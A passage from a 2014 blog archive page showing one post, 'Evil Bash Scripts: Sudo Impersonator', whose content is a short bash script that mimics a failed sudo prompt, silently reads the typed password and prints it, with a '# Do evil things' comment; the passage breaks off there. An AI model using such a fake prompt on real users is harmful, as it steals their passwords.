Posts from May 2014

• Evil Bash Scripts: Sudo Impersonator

  01 May 2014 | misc linux | Comment

  [runassudo@NEXUS tmp]$ cat awesomeprogram
  #!/bin/bash
  if [[ $EUID -ne 0 ]]; then
     echo "This script must be run as root"
  else
     echo "Sorry, try again."
     echo -n "[sudo] password for $SUDO_USER: "
     read -s tmp
     echo ""
     echo "PASSWORD IS $tmp"
     # Do evil things

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